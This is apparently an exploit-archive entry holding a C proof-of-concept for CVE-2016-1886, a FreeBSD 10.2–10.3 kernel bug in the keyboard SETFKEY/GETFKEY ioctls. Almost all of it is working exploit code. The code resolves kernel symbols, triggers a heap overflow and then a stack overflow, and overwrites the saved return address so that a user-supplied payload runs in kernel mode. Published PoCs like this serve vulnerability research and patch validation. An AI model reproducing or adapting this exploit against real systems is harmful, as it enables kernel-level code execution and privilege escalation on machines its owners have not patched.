FreeBSD Kernel (FreeBSD 10.2 < 10.3 x64) - 'SETFKEY' (PoC)

Related Vulnerabilities: CVE-2016-1886  
Publish Date: 29 May 2016
Author: CTurt
                							

                #include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;stddef.h&gt;
#include &lt;string.h&gt;
#include &lt;errno.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/ioctl.h&gt;
#include &lt;sys/kbio.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/mman.h&gt;
#include &lt;sys/param.h&gt;
#include &lt;sys/linker.h&gt;

int (*kprintf)(const char *fmt, ...);
char *ostype;

uint64_t originalRip;
uint64_t originalRbp;

void *resolve(char *name) {
	struct kld_sym_lookup ksym;
	
	ksym.version = sizeof(ksym);
	ksym.symname = name;
	
	if(kldsym(0, KLDSYM_LOOKUP, &amp;ksym) &lt; 0) {
		perror("kldsym");
		exit(1);
	}
	
	printf("  [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
	return (void *)ksym.symvalue;
}

void payload(void) {
	kprintf("  [+] Entered kernel payload\n");
	
	strcpy(ostype, "CTurt  ");
	
	__asm__ volatile("swapgs; sysret");
}

// Copy the stack onto the heap
void heapOverflow(int index, size_t size) {
	fkeyarg_t fkey;
	
	fkey.keynum = index;
	fkey.flen = size;
	memset(&amp;fkey.keydef, 0, 16);
	
	ioctl(0, SETFKEY, &amp;fkey);
}

// Copy the heap onto the stack
void stackOverflow(int index) {
	fkeyarg_t fkey;
	
	fkey.keynum = index;
	fkey.flen = 16;
	memset(&amp;fkey.keydef, 0, 16);
	
	ioctl(0, GETFKEY, &amp;fkey);
}

int main(void) {
	int result, i;
	fkeyarg_t fkey;
	
	uint32_t ripLower4 = 0x808312cd; // jmp rbp
	uint64_t rbp = (uint64_t)payload;
	
	
	kprintf = resolve("printf");
	ostype = resolve("ostype");
	
	
	printf("  [+] Set full length for key 10\n");
	fkey.keynum = 10;
	fkey.flen = 16;
	ioctl(0, SETFKEY, &amp;fkey);
	
	
	printf("  [+] Set bad length and perform heap overflow\n");
	heapOverflow(0, 128 - offsetof(fkeyarg_t, keydef) + 8 + 0x30 + sizeof(ripLower4));
	
	
	printf("  [+] Prepare stack overflow memory\n");
	fkey.keynum = 10;
	fkey.flen = 16;
	ioctl(0, GETFKEY, &amp;fkey);
	originalRbp = *(uint64_t *)((char *)&amp;fkey.keydef + 4);
	originalRip = 0xffffffff00000000 | *(uint32_t *)((char *)&amp;fkey.keydef + 12);
	
	printf("  [+] Original rip: %#lx\n", originalRip);
	printf("  [+] Original rbp: %#lx\n", originalRbp);
	
	*(uint64_t *)((char *)&amp;fkey.keydef + 4) = rbp;
	*(uint32_t *)((char *)&amp;fkey.keydef + 12) = ripLower4;
	ioctl(0, SETFKEY, &amp;fkey);
	
	
	printf("  [+] Trigger stack overflow\n");
	fflush(stdout);
	
	stackOverflow(0);
	
	
	return 0;
}